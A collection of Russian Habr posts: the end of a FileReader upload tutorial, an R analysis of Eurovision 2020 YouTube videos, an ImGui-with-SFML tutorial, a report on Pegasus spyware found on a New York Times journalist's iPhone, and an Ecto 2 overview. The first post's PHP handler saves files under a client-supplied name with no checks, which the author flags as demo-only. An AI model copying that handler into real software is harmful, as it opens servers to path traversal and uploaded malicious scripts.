5) Ну и, конечно же, обработчик на сервере (handler.php). Спешу напомнить тому, кто захочет взять мой код за основу, что несомненно не следует полагаться исключительно на проверку файлов JavaScript'ом. На сервере также необходимо проверить, проходит ли файл по всем ограничениям. В демо-примере это опущено:
```
if (!array_key_exists('HTTP_X_FILE_NAME', $_SERVER) || !array_key_exists('CONTENT_LENGTH', $_SERVER))
exit();
$fname = $_SERVER['HTTP_X_FILE_NAME'];
$fsize = $_SERVER['CONTENT_LENGTH'];
if (!$fsize)
exit();
file_put_contents("upload/".$fname, file_get_contents("php://input"));
```
Как вы могли заметить, в случае с загрузкой через FileReader, в отличие от FormData, мы можем считывать и записывать файл непосредственно из stdin ([php://input](http://php.net/manual/en/wrappers.php.php)).
##### Хочу превьюшки!
Рассматривая различные примеры реализации загрузки файлов через FileAPI я, несомненно, часто встречал построение превью до загрузки изображения. Технически, это сделать несложно:
```
if (file.type.search(/image\/.*/) != -1) {
var thumb = new Image();
thumb.src = ev.target.result;
thumb.addEventListener("load", function() {
maxwidth = 120;
maxheight = 90;
if (thumb.width > thumb.height) {
thumb.height = thumb.height / (thumb.width / maxwidth);
thumb.width = maxwidth;
} else {
thumb.width = thumb.width / (thumb.height / maxheight);
thumb.height = maxwidth;
}
}, false);
thumb.load;
td.appendChild(thumb);
delete thumb;
}
```
Но при попытке загрузить несколько крайне тяжеловесных фотографий (8 фото от 10 до 16 МБ каждое) у меня упали все браузеры, кроме Оперы 12.02, которая после очень длительных раздумий всё-таки оклемалась, но на любое действие реагировала крайне медлительно.
Связано это с тем, что превью изображения загружается через data:/ и base64 кодированное содержимое файла. Ради превьюшки 120х90 встраницу включается 16-мегабайтное изображение 5184х3456. Я очень долго пытался найти хоть какой-то способ на лету изменить размер полученного изображения и использовать для превьюшки, но либо JavaScript этого не умеет, либо я не умею искать. Если кто-нибудь в комментариях подскажет способ решения проблемы — буду крайне благодарен. | https://habr.com/ru/post/154587/ | null | ru | null |
# Анализ популярности YouTube видео участников Евровидения 2020
13 марта на официальном YouTube канале Евровидения была выложена композиция группы Little Big, которая будет представлять Россию на конкурсе. Посмотрев клип, захотелось сравнивать статистику видео нашей группы, с видео других участников; какие ролики самые просматриваемые, у кого самый большой процент лайков, кого чаще всего комментируют. Гугление готовой статистики ни к чему не привело. Поэтому было решено самому собрать нужную статистику.
**Структура статьи:**
* [Код выгрузки](#kod-vygruzki)
* [Анализ](#analiz)
* [Обновление на 14.03.2020 20:30](#updpo-sostoyaniyu-na-14032020-2030)
* [Дополнительно: Смотрим зависимость просмотров от численности населения страны](#dopolnitelno-smotrim-zavisimost-prosmotrov-ot-chislennosti-naseleniya-strany)
Открыв [плейлист участников](https://www.youtube.com/playlist?list=PLmWYEDTNOGUL69D2wj9m2onBKV2s3uT5Y) можно увидеть 39 роликов, по факту там 38 песен, композиция Hurricane — Hasta La Vista — Serbia была загружена дважды, поэтому статистика по ней будет просуммирована. Для сбора статистики будем использовать R.
### Код выгрузки
Нам понадобятся следующие пакеты:
```
library(tuber) # пакет взаимодействует с API YouTube, выгрузит нам статистику по роликам
library(dplyr) # пакет для работы с таблицами
library(ggplot2) # рисует графики
```
Для начала переходим в консоль [разработчика google](https://console.developers.google.com) и создаем ключ OAuth на api "YouTube Data API v3". Получив ключ авторизуемся из R.
```
yt_oauth("Идентификатор клиента", "Секретный код клиента")
```
Теперь можем собирать статистику:
```
# получаем список роликов из плэйлиста
list_videos <- get_playlist_items(filter = c(playlist_id = "PLmWYEDTNOGUL69D2wj9m2onBKV2s3uT5Y"))
# Собираем статистику по просмотрам, функция get_stats
stats_videos <- lapply(as.character(list_videos$contentDetails.videoId), get_stats) %>%
bind_rows()
stats_videos <- stats_videos %>%
mutate_at(vars(-id), as.integer)
# Получаем названия роликов, функция get_video_details
description_videos <- lapply(as.character(list_videos$contentDetails.videoId), get_video_details)
description_videos <- lapply(description_videos, function(x) {
list(
id = x[["items"]][[1]][["id"]],
name_video = x[["items"]][[1]][["snippet"]][["title"]]
)
}) %>%
bind_rows()
```
Т.к. названия роликов имеют шаблон *Исполнитель — Название песни — Страна [Код страны] — Official Music Video — Eurovision 2020*, то все что находится после страны, можно удалить. Удаляем и объединяем таблицу статистики с таблицей названий роликов.
```
# Удаляем лишнюю часть названия ролика
description_videos$name_video <- description_videos$name_video %>%
gsub("[^[:alnum:][:blank:]?&/\\-]", '', .) %>%
gsub("( .*)|( - Offic.*)", '', .)
# Объединяем таблицу названий роликов со статистикой
df <- description_videos %>%
left_join(stats_videos, by = 'id') %>%
rowwise() %>%
mutate( # считаем долю лайков
proc_like = round(likeCount / (likeCount + dislikeCount), 2)
) %>%
ungroup()
# Hurricane - Hasta La Vista - Serbia две композиции в одном плейлисте, суммируем их
df <- df %>%
group_by(name_video) %>%
summarise(
id = first(id),
viewCount = sum(viewCount),
likeCount = sum(likeCount),
dislikeCount = sum(dislikeCount),
commentCount = sum(commentCount),
proc_like = round(likeCount / (likeCount + dislikeCount), 2)
)
df$color <- ifelse(df$name_video == 'Little Big - Uno - Russia','red','gray')
```
### Анализ
Теперь у нас есть итоговая таблица для анализа и можно начать смотреть кто самый популярный. Формируем графики.
```
# Кол-во просмотров
ggplot(df, aes(x = reorder(name_video, viewCount), y = viewCount, fill = color)) +
geom_col() +
coord_flip() +
theme_light() +
labs(x = NULL, y = "Кол-во просмотров") +
guides(fill = F) +
scale_fill_manual(values = c('gray', 'red')) +
scale_y_continuous(labels = scales::number_format(big.mark = " "))
# Доля лайков к дизлайкам
ggplot(df, aes(x = reorder(name_video, proc_like), y = proc_like, fill = color)) +
geom_col() +
coord_flip() +
theme_light() +
labs(x = NULL, y = "Доля лайков к дизлайкам") +
guides(fill = F) +
scale_fill_manual(values = c('gray', 'red')) +
scale_y_continuous(labels = scales::percent_format(accuracy = 1))
# Кол-во комментариев
ggplot(df, aes(x = reorder(name_video, commentCount), y = commentCount, fill = color)) +
geom_col() +
coord_flip() +
theme_light() +
labs(x = NULL, y = "Кол-во комментариев") +
guides(fill = F) +
scale_fill_manual(values = c('gray', 'red')) +
scale_y_continuous(labels = scales::number_format(big.mark = " "))
# Доля комментариев к просмотрам
ggplot(df, aes(x = reorder(name_video, commentCount/viewCount), y = commentCount/viewCount, fill = color)) +
geom_col() +
coord_flip() +
theme_light() +
labs(x = NULL, y = "Доля комментариев к просмотрам") +
guides(fill = F) +
scale_fill_manual(values = c('gray', 'red')) +
scale_y_continuous(labels = scales::percent_format(accuracy = 0.25))
```
*Небольшая ремарка, когда я задался темой статьи у Little Big было меньше 1 млн просмотров, и часть показателей не так сильно отличалась от других участников.*
**Количество просмотров**. У композиции Little Big виден огромный отрыв, но это больше связано с тем что ролик попал в тренды. А вот самое маленькое кол-во просмотров у эстонской группы.
**Доля лайков среди суммы лайков, дизлайков.** Больше всего смотревшим понравились композиции Грузии и Литвы. А вот самая плохая композиция у Чехии.
**Количество комментариев** коррелирует с количеством просмотров.
**Доля комментариев к просмотрам**(комментарии / просмотры). Чем больше комментариев по отношению к просмотрам тем более вероятна заинтересованность просмотревших. Наибольший интерес вызывает клип Азербайджана и Украины.
Итого по состоянию на 13.03.2020 18:00 в той или иной мере у пользователей вызывают интерес клипы России, Грузии, Литвы, Азербайджана и Украины.
### UPD: по состоянию на 14.03.2020 20:30
**Количество просмотров**. Без изменения. У композиции Little Big так же огромный отрыв, Украина на втором месте по количеству просмотров.
**Доля лайков среди суммы лайков, дизлайков.** Здесь у Little Big немного увеличилась доля лайков, тем самым поравнялась с роликом из Мальты
**Количество комментариев** Без изменений.
**Доля комментариев к просмотрам**(комментарии / просмотры). С момента написания последнего поста ещё 2 участника выложили видео, один из них, Армения, вызвала наибольший интерес пользователей. И теперь этот ролик самый обсуждаемый в комментариях.
Итого по состоянию на 14.03.2020 20:30 список роликов интересных пользователям не сильно изменился это так же Россия, Грузия, Литва, Азербайджан, Украина. К ним просто добавилась Армения.
### Дополнительно: Смотрим зависимость просмотров от численности населения страны
[helg1978](https://habr.com/ru/users/helg1978/) высказал интересную мысль что количество просмотров может коррелировать с количеством населения страны. Захотелось проверить эту мысль.
К композициям подгрузил численность населения стран из [википедии](https://en.wikipedia.org/wiki/List_of_countries_and_dependencies_by_population)
**Код сравнения зависимости**
```
library(rvest)
library(tidyr)
# Выгружаем численность населения
hdoc <- read_html('https://en.wikipedia.org/wiki/List_of_countries_and_dependencies_by_population')
tnode <- html_node(hdoc, xpath = '/html/body/div[3]/div[3]/div[4]/div/table')
df_population <- html_table(tnode)
df_population <- df_population %>% filter(`Country (or dependent territory)` != 'World')
df_population$Population <- as.integer(gsub(',','',df_population$Population,fixed = T))
df_population$`Country (or dependent territory)` <- gsub('\\[.*\\]','', df_population$`Country (or dependent territory)`)
df_population <- df_population %>%
select(
`Country (or dependent territory)`,
Population
) %>%
rename(Country = `Country (or dependent territory)`)
# добавляем численность населения в копию основной таблицы
df2 <- df %>%
separate(name_video, c('compozitor', 'name_track', 'Country'), ' - ', remove = F) %>%
mutate(Country = ifelse(Country == 'The Netherlands', 'Netherlands', Country)) %>%
left_join(df_population, by = 'Country')
# Зависимость просмотров от численности населения
cor(df2$viewCount,df2$Population)
ggplot(df2, aes(x = Population, y = viewCount)) +
geom_point() +
theme_light() +
geom_smooth(method = 'lm') +
labs(x = "Население, чел", y = "Кол-во просмотров") +
scale_y_continuous(labels = scales::number_format(big.mark = " ")) +
scale_x_continuous(labels = scales::number_format(big.mark = " "))
# Зависимость просмотров от численности населения, без России
cor(df2[df2$Country != 'Russia',]$viewCount,df2[df2$Country != 'Russia',]$Population)
ggplot(df2 %>% filter(Country != 'Russia') , aes(x = Population, y = viewCount)) +
geom_point() +
theme_light() +
geom_smooth(method = 'lm') +
labs(x = "Население, чел", y = "Кол-во просмотров") +
scale_y_continuous(labels = scales::number_format(big.mark = " ")) +
scale_x_continuous(labels = scales::number_format(big.mark = " "))
# Зависимость просмотров от численности населения, ранги
cor(df2$viewCount,df2$Population, method = "spearman")
ggplot(df2 , aes(x = rank(Population), y = rank(viewCount))) +
geom_point() +
theme_light() +
geom_smooth(method = 'lm') +
labs(x = "Население, чел (Ранги от 1 до 40)", y = "Кол-во просмотров (Ранги от 1 до 40)") +
guides(fill = F)
# Доля от общей численности населения
ggplot(df2, aes(x = reorder(name_video, viewCount/Population), y = viewCount/Population, fill = color)) +
geom_col() +
coord_flip() +
theme_light() +
labs(x = NULL, y = "Доля от общей численности населения") +
guides(fill = F) +
scale_fill_manual(values = c('gray', 'red')) +
scale_y_continuous(labels = scales::percent_format(accuracy = 0.25))
```
Если смотреть в целом на все, то видно что Россия сильно выбивается из общей картины, у других стран с населением больше 50 млн нет такой тенденции. Формально коэффициент корреляции 71%.
Без России этот же график будет выглядеть следующим образом. Корреляция при этом упадет с 71% до 15%. Что в целом будет говорит об отсутствии зависимости.
Если смотреть на зависимость не параметрически(по рангам значений), то будет более сильная связь, но все равно не определяющая(Коэф. коррел. 40%).
И справочно посчитал долю просмотров от населения страны. Для особо маленьких стран получается что их смотрели больше из других стран. В частности это Мальта, Сан Марино и Исландия
[Полный код на гитхабе](https://github.com/Ranlod/eurovision_2020_for_habr/blob/master/script.R) | https://habr.com/ru/post/492326/ | null | ru | null |
# Использование ImGui с SFML для создания инструментов для разработки игр
Привет, Хабр!
Данная статья — вольный перевод моей [статьи](https://eliasdaler.github.io/using-imgui-with-sfml-pt1/) на русский с некоторыми небольшими изменениями и улучшениями. Хотелось бы показать как просто и полезно использовать ImGui с SFML. Приступим.
Введение
========
При разработке игр очень важно иметь хорошие инструменты для создания контента (редактор уровней, ресурсов и пр.), а также для дебаггинга. Наличие данных вещей повышает производительность и креативность. Гораздо проще отлавливаются баги и исправляются уже найденные: легко выводить значение различных переменных, а также создавать виджеты для их изменения, чтобы посмотреть, что происходит с игрой при определённых их значениях. Виджеты для изменения переменных также очень полезны для полировки геймплея. Например, можно легко изменять скорость передвижения персонажей, скорость перезарядки оружия и пр.
Вот какие инструменты я создал с помощью ImGui для [своей игры](https://eliasdaler.github.io/re-creation/):
*Редактор уровней*
*Консоль Lua*
*Редактор анимаций*
Как можно видеть, в ImGui есть достаточно разных виджетов, чтобы создавать полезные и удобные интерфейсы.
ImGui и концепция immediate GUI
===============================
*Immediate mode GUI* немного отличается от классической методики программирования интерфейсов, которая называется *retained mode GUI*. ImGui виджеты создаются и рисуются в каждом кадре игрового цикла. Сами виджеты не хранят внутри себя своё состояние, либо хранят абсолютно минимальный необходимый минимум, который обычно скрыт от программиста.
В отличие от того же Qt, где для создания кнопки нужно создавать объект `QPushButton`, а затем связывать с ней какую-нибудь функцию-callback, вызываемую при нажатии, в ImGui всё делается гораздо проще. В коде достаточно написать:
```
if (ImGui::Button("Some Button")) {
... // код, вызываемый при нажатии кнопки
}
```
Данный код должен вызываться в каждой итерации игрового цикла, в которой эта кнопка должна быть доступна пользователю.
Изначально данный концепт может показаться странным и очень неэффективным, однако это всё работает так быстро в сравнении с остальным кодом, что в результате даже сложные интерфейсы не привносят сильных изменений в производительность игры.
Советую посмотреть вот [это видео](https://www.youtube.com/watch?v=Z1qyvQsjK5Y) Кейси Муратори про ImGui, если вы хотите узнать чуть больше о данной методике.
Итак, каковы же достоинства ImGui?
* MIT-лицензия
* Очень быстрая и занимает мало памяти
* Постоянно обновляется и расширяется
* Почти не производит динамическую аллокацию/деалокаццию (и это можно контролировать, устанавливая каким образом ImGui будет получать необходимую память)
* Очень портабельна: есть множество биндингов для различных библиотек и платформ
* Очень легко расширяется путём создания новых виджетов на основе существующих, либо написанных с нуля.
Настройка
=========
Итак, начнём
1. Создайте простую программу на SFML, которая показывает пустое окно. Если вы раньше этим не занимались, то можете воспользоваться [туториалом](http://www.sfml-dev.org/tutorials/2.3/).
2. Скачайте [ImGui](https://github.com/ocornut/imgui).
3. Скачайте [ImGui SFML биндинг](https://github.com/eliasdaler/imgui-sfml) и положите его в папку, в которую скачали ImGui.
**Важно**: добавьте содержимое **imconfig-SFML.h** в **imconfig.h**
4. Добавьте папку ImGui в include директории вашего проекта
5. Добавьте следующие файлы в билд вашего проекта:
* imgui.cpp
* imgui\_draw.cpp
* imgui-SFML.cpp
* imgui\_demo.cpp
6. Если вы будете получать ошибки линковки, то залинкуйте OpenGL к своему проекту.
Вот небольшой пример кода, который создаёт окошко ImGui и позволяет менять цвет заднего фона и заголовок окна. Объяснения того, что происходит, будут далее.
```
#include "imgui.h"
#include "imgui-sfml.h"
#include
#include
#include
int main()
{
sf::RenderWindow window(sf::VideoMode(640, 480), "");
window.setVerticalSyncEnabled(true);
ImGui::SFML::Init(window);
sf::Color bgColor;
float color[3] = { 0.f, 0.f, 0.f };
// здесь мы будем использовать массив char. Чтобы использовать
// std::string нужно сделать действия, описанные во второй части
char windowTitle[255] = "ImGui + SFML = <3";
window.setTitle(windowTitle);
sf::Clock deltaClock;
while (window.isOpen()) {
sf::Event event;
while (window.pollEvent(event)) {
ImGui::SFML::ProcessEvent(event);
if (event.type == sf::Event::Closed) {
window.close();
}
}
ImGui::SFML::Update(window, deltaClock.restart());
ImGui::Begin("Sample window"); // создаём окно
// Инструмент выбора цвета
if (ImGui::ColorEdit3("Background color", color)) {
// код вызывается при изменении значения, поэтому всё
// обновляется автоматически
bgColor.r = static\_cast(color[0] \* 255.f);
bgColor.g = static\_cast(color[1] \* 255.f);
bgColor.b = static\_cast(color[2] \* 255.f);
}
ImGui::InputText("Window title", windowTitle, 255);
if (ImGui::Button("Update window title")) {
// этот код выполняется, когда юзер жмёт на кнопку
// здесь можно было бы написать
// if(ImGui::InputText(...))
window.setTitle(windowTitle);
}
ImGui::End(); // end window
window.clear(bgColor); // заполняем окно заданным цветом
ImGui::SFML::Render(window);
window.display();
}
ImGui::SFML::Shutdown();
}
```
Вы должны увидеть что-то вроде этого:
Попробуйте изменить что-нибудь. Если кликнуть два раза на одно из полей RGB, то можно ввести соответствующее значение. Если одно из полей потянуть, то можно плавно изменять текущее введённое значение. Поле ввода позволяет изменить заголовок окна после нажатия на кнопку.
Отлично, теперь разберёмся как всё работает.
ImGui инициализируется вызовом `ImGui::SFML::Init`, при вызове в функцию передаётся ссылка на окно `sf::RenderWindow`. В этот момент также создаётся стандартный шрифт, который будет использоваться в дальнейшем. (см. раздел [Fonts how-to](https://github.com/eliasdaler/imgui-sfml#fonts-how-to) в описании imgui-sfml, чтобы увидеть как использовать другие шрифты).
При выходе из программы важно вызывать функцию `ImGui::SFML::Shutdown`, которая освобождает ресурсы, которые использует ImGui.
В игровом цикле ImGui имеет две фазы: обновление и рендеринг.
*Обновление* состоит из обработки событий, обновления состояния ImGui и обновления/создания виджетов. Обработка событий происходит через вызов `ImGui::SFML::ProcessEvent`. ImGui обрабатывает события клавиатуры, мыши, изменения фокуса и размера окна. Обновление состояния ImGui производится в `ImGui::SFML::Update`, в неё передаётся delta time (время между двумя обновлениями), который ImGui использует для обновления состояния виджетов (например, для анимации). Также в данной функции вызывается `ImGui::NewFrame`, после вызова которой уже можно создавать новые виджеты.
*Рендеринг* ImGui осуществляется вызовом `ImGui::SFML::Render`. Очень важно создавать/обновлять виджеты между вызовами `ImGui::SFML::Update` и `ImGui::SFML::Render`, иначе ImGui будет ругаться на нарушение состояния.
Если вы рендерите реже, чем обновляете ввод и игру, то в конце каждой итерации вашего `update` необходимо также вызывать `ImGui::EndFrame`:
```
while (gameIsRunning) {
while (updateIsNeeded()) {
updateGame(dt);
ImGui::SFML::Update(window, dt);
ImGui::EndFrame();
}
renderGame();
}
```
Виджеты создаются путём вызова соответствующих функций (например, `ImGui::InputInt` или `ImGui::Button`). Если вызвать `ImGui::ShowTestWindow`, то можно увидеть много примеров использования ImGui, весь код можно найти в **imgui\_demo.cpp**.
Полезные перегрузки функций для SFML
====================================
Для SFML в биндинге были созданы некоторые перегрузки функций, например в `ImGui::Image` и `ImGui::ImageButton` можно кидать `sf::Sprite` и `sf::Texture`, также можно легко рисовать линии и прямоугольники вызовом `DrawLine`, `DrawRect` и `DrawRectFilled`.
Заключение
==========
Вот такая библиотека: проста в использовании и настройке, и очень полезна для создания инструментов и дебагинга. Приятного использования!
P.S. Если возникнет интерес, то могу перевести и [вторую часть туториала](https://eliasdaler.github.io/using-imgui-with-sfml-pt2/), которая рассказывает про использование ImGui с современным C++ и стандартной библиотекой. Советую обратить на статью внимание тем, кто решит использовать (или уже использует) ImGui: она показывает как просто решать основные проблемы ImGui и делать всё проще и безопаснее, чем это делается в C++03. | https://habr.com/ru/post/335512/ | null | ru | null |
# Сообщившего о Pegasus журналиста New York Times взломали этой же программой
Канадская лаборатория Citizen Lab, занимающаяся исследованиями в области информационной безопасности, [опубликовала](https://citizenlab.ca/2021/10/breaking-news-new-york-times-journalist-ben-hubbard-pegasus/) отчёт о диагностике телефона журналиста New York Times (NYT) Бена Хаббарда. Согласно отчёту, он неоднократно становился мишенью для шпионской программы Pegasus с июня 2018 по июнь 2021 года. Заражение телефона происходило во время работы Хаббарда в Саудовской Аравии и написании книги о наследном принце страны — Мухаммеде ибн Салмане.
Файлы эксплойта FORCEDENTRY на телефоне Бена ХаббардаПо словам Citizen Lab, впервые Хаббард заявил о возможном заражении в группе израильской компании NSO (разработчика программы) в 2020 году. Он боялся, что стал мишенью для Pegasus. Артефакты на смартфоне, свидетельствующие о деятельности Pegasus, присутствуют ещё с 2018 года. Но специалисты Citizen Lab не уверены, что тогда он произошёл именно этой шпионской программой. Два других инцидента произошли в июле 2020 года и июне 2021 года, и в них точно участвовала Pegasus. Специалистам не удалось установить страну, ответственную за взлом.
Подробности взлома в 2021 году исследователи выяснили благодаря эксплойту [FORCEDENTRY](https://www.securitylab.ru/news/523711.php), найденному в резервной копии iPhone журналиста. Его доставили в 31 вложении, отправленными из учётной записи iMessage. Эксплойт использовался для развёртывания на телефоне Pegasus, в процессе которого в папки Библиотека/Кэш помещался файл.
Следы прошлогоднего взлома Citizen Lab нашла через файл `DataUsage.sqlite`. 13 июля 2020 специалисты обнаружили свидетельства активности процесса `bh.` Название процесса соответствует тому, что использует Pegasus в качестве термина, обозначающего начальную стадию вредоносной полезной нагрузки. Как предположили специалисты лаборатории, `bh` — это сокращение от `bridgehead`. В резервной копии iPhone от 2021 года записей в файле `DataUsage.sqlite`уже не было, они были удалены. Как добавила Citizen Lab, в 2020 году клиенты NSO для развёртывания Pegasus использовали преимущественно эксплойт KISMET.
В июне 2018 года, как предполагают специалисты, взлом произошёл через СМС и сообщения в WhatsApp. Они содержали ссылки, ведущие на страницу для загрузки эксплойта KINGDOM и развёртывания Pegasus. NSO опубликовала неофициальное опровержение того, что Хаббарду направляли подобные ссылки. Но специалисты практически уверены, что взлом в этому году связан именно с Pegasus.
Сообщения WhatsApp, полученные Хаббардом в 2018 годуВ файлах `com.apple.identityservices.idstatuscache.plist` смартфонов Хаббарда Citizen Lab также обнаружила следы предполагаемого взлома с использованием функции облачных вызовов Apple Thumper. Однако неизвестно, что это было на самом деле — взлом или проверка смартфона на наличие взлома. В нескольких уже изученных достоверных свидетельств заражения есть следы использования Apple Thumper.
Подробности исследования Citizen Lab опубликованы в статье «[New York Times Journalist Ben Hubbard Hacked with Pegasus after Reporting on Previous Hacking Attempts](https://citizenlab.ca/2021/10/breaking-news-new-york-times-journalist-ben-hubbard-pegasus/)».
Бен Хаббард стал одним из журналистов, [опубликовавших](https://habr.com/ru/news/t/568430/) в середине июля этого года серию статей с результатами журналистского расследования о заражении программой Pegasus телефонов репортёров, активистов, политиков и других общественных деятелей. В них был представлен так называемый «шпионский список» из 50 тысяч потенциальных целей Pegasus. В частности, в списке оказались арабские журналистки, с чьих телефонов [скачали](https://habr.com/ru/news/t/571044/) личные фотографии, и [главы](https://habr.com/ru/news/t/568894/) 15 государств. В шпионском списке также [обнаружили](http://21%20%D0%B8%D1%8E%D0%BB%D1%8F%20Guardian%20%D0%BE%D0%B1%D0%BD%D0%B0%D1%80%D1%83%D0%B6%D0%B8%D0%BB%D0%B0%20%D0%B2%20%D1%81%D0%BF%D0%B8%D1%81%D0%BA%D0%B5%20%D0%9F%D0%B0%D0%B2%D0%BB%D0%B0%20%D0%94%D1%83%D1%80%D0%BE%D0%B2%D0%B0.) основателя Telegram Павла Дурова, но он не удивился этому факту. По словам Дурова, Apple и Google участвуют в глобальной программе слежки и намеренно внедряют бэкдоры в свои мобильные операционные системы, чтобы оставить лазейку для государственных спецслужб.
14 сентября Apple [выпустила](https://habr.com/ru/news/t/577770/) обновление для защиты от слежки Pegasus, заявив что устранила уязвимость в своих операционных системах. Обновления вышли для iOS, iPadOS, watchOS и macOS, начиная с версии Catalina. Citizen Lab подтвердила, что указанные уязвимости были устранены. | https://habr.com/ru/post/585308/ | null | ru | null |
# Брошюра об Ecto – интерфейсе для работы с базами данных на Elixir
Вступление
----------
Ecto написанный на Elixir DSL для коммуникации с базами данных. Ecto это не ORM. Почему? Да, потому что Elixir не объектно-ориентированный язык, вот и Ecto не может быть Object-Relational Mapping (объектно-реляционным отображением). Ecto — это абстракция над базами данных состоящая из нескольких больших модулей, которые позволяют создавать миграции, объявлять модели (схемы), добавлять и обновлять данные, а также посылать к ним запросы.
Если вы знакомы с Rails, то для вас самой близкой аналогией, конечно же, будет его ORM ActiveRecord. Но эти две системы не являются копиями друг друга, и хороши в использовании в рамках своих базовых языков. На данный момент актуальная версия Ecto 2, она совместима с PostgreSQL и MySQL. Более ранняя версия дополнительно имеет совместимость с MSSQL, SQLite3 и MongoDB. Независимо от того, какая используется СУБД, формат функций Ecto будет всегда одинаковый. Также Ecto идёт из коробки с Phoenix и является хорошим стандартным решением.
Если надумаете расширить брошюру, то милости прошу присоединиться к развитию данного репозитория <https://github.com/wunsh/ecto-book-ru>
Новшества Ecto 2.X
------------------
* [Обновлённый модуль Ecto.Changeset](#obnovlyonnyy-modul-ectochangeset)
* [Новая функция Subquery/1 в модуле Ecto.Query](#novaya-funkciya-subquery1-v-module-ectoquery)
* [Новая функция insert\_all/3 в модуле Ecto.Repo](#novaya-funkciya-insert_all3-v-module-ectorepo)
* [Добавлена Many-to-Many ассоциация](#dobavlena-many-to-many-associaciya)
* [Улучшена работа с ассоциациями](#uluchshena-rabota-s-associaciyami)
* [Новая функция предзагрузки ассоциаций assoc/2 в модуле Ecto](#novaya-funkciya-predzagruzki-associaciy-assoc2-v-module-ecto)
* [Upsert](#upsert)
* [Новые условия выборки or\_where и or\_having](#novye-usloviya-vyborki-or_where-i-or_having)
* [Добавлена возможность пошагового построения запроса](#dobavlena-vozmozhnost-poshagovogo-postroeniya-zaprosa)
### Обновлённый модуль Ecto.Changeset
1. changeset.model переименована в changeset.data (отныне "models" в Ecto нет).
2. Устаревшим считается передача обязательных полей и опций для них в `cast/4`, отныне следует использовать `cast/3` и `validate_required/3`.
3. Атом `:empty` в `cast(source, :empty, required, optional)` стал устаревшим, желательно вместо этого использовать `empty map` or `:invalid`.
Как итог, вместо этого:
```
def changeset(user, params \\ :empty) do
user
|> cast(params, [:name], [:age])
end
```
Рекомендуется делать лучше так:
```
def changeset(user, params \\ %{}) do
user
|> cast(params, [:name, :age])
|> validate_required([:name])
end
```
### Новая функция Subquery/1 в модуле Ecto.Query
Функция `Ecto.Query.subquery/1` даёт возможность конвертировать любые запросы в подзапросы. Для примера, если вы хотите посчитать среднее кол-во просмотров публикаций, вы можете написать:
```
query = from p in Post, select: avg(p.visits)
TestRepo.all(query) #=> [#Decimal<1743>]
```
Однако, если вы хотите посчитать средне кол-во просмотров только для 10 самых популярных постов, вам потребуется подзапрос:
```
query = from p in Post, select: [:visits], order_by: [desc: :visits], limit: 10
TestRepo.all(from p in subquery(query), select: avg(p.visits)) #=> [#Decimal<4682>]
```
Для практического примера, если вы используете для подсчёта агрегированных данных функцию `Repo.aggregate`:
```
# Среднее кол-во просмотров для всех публикаций
TestRepo.aggregate(Post, :avg, :visits) #=> #Decimal<1743>
```
```
# Среднее кол-во просмотров для 10 самых популярных публикаций
query = from Post, order_by: [desc: :visits], limit: 10
TestRepo.aggregate(query, :avg, :visits) #=> #Decimal<4682>
```
В `subquery/1` есть возможность задавать имена полям в подзапросах. Что позволит обрабатывать таблицы с конфликтующими именами:
```
posts_with_private = from p in Post, select: %{title: p.title, public: not p.private}
from p in subquery(posts_with_private), where: p.public, select: p
```
### Новая функция insert\_all/3 в модуле Ecto.Repo
Функция `Ecto.Repo.insert_all/3` предназначена для множественной вставки записей внутри одного запроса:
```
Ecto.Repo.insert_all Post, [%{title: "foo"}, %{title: "bar"}]
```
Стоит учесть, что при вставки строк через `insert_all/3` не обрабатываются автогенерируемые поля, такие как `inserted_at` или `updated_at`. Также `insert_all/3` даёт возможность вставлять строки в базу данных в обход `Ecto.Schema`, просто указав имя таблицы:
```
Ecto.Repo.insert_all "some_table", [%{hello: "foo"}, %{hello: "bar"}]
```
### Добавлена Many-to-Many ассоциация
Теперь Ecto поддерживает `many_to_many` ассоциации:
```
defmodule Post do
use Ecto.Schema
schema "posts" do
many_to_many :tags, Tag, join_through: "posts_tags"
end
end
```
Значение в опции `join_through` может быть именем таблицы, которая содержит в себе колонки `post_id` и `tag_id`, или может быть схемой, такой как `PostTag`, которая содержит внешние ключи и автогенерируемые колонки.
### Улучшена работа с ассоциациями
Отныне Ecto даёт возможность вставлять и изменять строки к `belongs_to` и `many_to_many` ассоциациям через `changeset`. Кроме этого, Ecto поддерживает определение ассоциаций напрямую в структуре данных для вставки. Например:
```
Repo.insert! %Permalink{
url: "//root",
post: %Post{
title: "A permalink belongs to a post which we are inserting",
comments: [
%Comment{text: "child 1"},
%Comment{text: "child 2"},
]
}
}
```
Это улучшение позволяет проще вставлять древовидные структуры в базу данных.
### Новая функция предзагрузки ассоциаций assoc/2 в модуле Ecto
Функция `Ecto.assoc/2` позволяет определять связи второго порядка, которые должны быть загружены к выбираемым записям. Как пример, можно получить авторов и комментарии к выбираемым публикациям:
```
posts = Repo.all from p in Post, where: is_nil(p.published_at)
Repo.all assoc(posts, [:comments, :author])
```
Лучше загружать связи через ассоциации, поскольку это не требует добавления полей к схеме выборки.
### Upsert
Функции `Ecto.Repo.insert/2` и `Ecto.Repo.insert_all/3` начали поддерживать upserts (вставка и обновление) через опции `:on_conflict` и `:conflict_target`.
Опция `:on_conflict` определяет, как база данных должна себя вести в случае совпадения primary key.
Опция `:conflict_target` определяет по каким полям необходимо проверять конфликты при вставке новых строк.
```
# Вставка оригинала
{:ok, inserted} = MyRepo.insert(%Post{title: "inserted"})
# Попытка вставки без вызова ошибки.
{:ok, upserted} = MyRepo.insert(%Post{id: inserted.id, title: "updated"},
on_conflict: :nothing)
# Попытка вставки, с обновлением поля title.
on_conflict = [set: [title: "updated"]]
{:ok, updated} = MyRepo.insert(%Post{id: inserted.id, title: "updated"},
on_conflict: on_conflict, conflict_target: :id)
```
### Новые условия выборки or\_where и or\_having
В Ecto добавили выражения `Ecto.Query.or_where/3` и `Ecto.Query.or_having`, которые добавляют новые фильтры к уже существующим условиям через "OR".
```
from(c in City, where: [state: "Sweden"], or_where: [state: "Brazil"])
```
### Добавлена возможность пошагового построения запроса
Данная техника позволяет создавать выражения по крупицам, чтобы впоследствии интерполировать их в общий запрос.
Для примера, у вас есть набор условий, из которых вы хотите построить свой запрос, но нужно выбрать только некоторые из них в зависимости от контекста:
```
dynamic = false
dynamic =
if params["is_public"] do
dynamic([p], p.is_public or ^dynamic)
else
dynamic
end
dynamic =
if params["allow_reviewers"] do
dynamic([p, a], a.reviewer == true or ^dynamic)
else
dynamic
end
from query, where: ^dynamic
```
В примере выше показано, как можно построить запрос шаг за шагом, учитывая внешние условия, и в конце интерполировать всё вовнутрь одного запроса.
Динамическое выражение всегда можно интерполировать внутри другого динамического выражения или внутри `where`, `having`, `update` или в условии `on` у `join`.
Интерфейс запросов
------------------
